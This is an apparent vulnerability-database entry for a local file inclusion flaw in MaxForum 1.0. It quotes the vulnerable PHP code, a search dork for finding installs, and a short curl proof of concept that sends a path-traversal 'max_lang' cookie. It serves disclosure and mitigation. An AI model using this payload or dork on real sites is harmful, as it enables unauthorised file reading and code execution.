MaxForum v1.0.0 Local File Inclusion

vendor:

MaxForum

by:

ahwak2000

7,5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: MaxForum

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:max4dev:maxforum:1.0.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

MaxForum v1.0.0 Local File Inclusion

MaxForum v1.0.0 is vulnerable to Local File Inclusion. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'max_lang' cookie parameter in the '/MaxForum/includes/forums/warn_popup.php' script. A remote attacker can exploit this vulnerability to include arbitrary files from local resources and execute arbitrary PHP code on the vulnerable system.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability. Sanitize user-supplied input to prevent the inclusion of arbitrary files.

Source

Exploit-DB raw data:

+---------------------------------------+
| MaxForum v1.0.0 Local File Inclusion  |
+---------------------------------------+
Author.............: ahwak2000
Mail...............: z.u5[at]hotmail[dot]com
Software link......: http://www.max4dev.com/
Tested versions....: 1.0
Dork...............: Powered by MaxForum v1.0.0
Date...............: 15/08/2012
---------------------------------------------------------------
in file /MaxForum/includes/forums/warn_popup.php 

line 100 			if (isset($_COOKIE['max_lang']) && (!isset($_COOKIE['max_name']))){
line 101			$board_lang = escape_string($_COOKIE['max_lang']);
line 102		}
line 103
line 104 	@include "../../language/$board_lang";
line 105 	@include "../../language/$board_lang.php";


-------------
in file /MaxForum/libs/php/functions.php 

		function escape_string($string) {

			$string = addslashes($string);
			
			$string = htmlspecialchars($string);
	   		return $string;
		}
----------------------------------------------------------------
exploit:

<?
$url="http://site.com/MaxForum/";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url."/includes/forums/warn_popup.php");
curl_setopt($ch, CURLOPT_COOKIE, "max_lang=../gpl.txt");  // <--- edit
 $buffer = curl_exec($ch);
?>

#end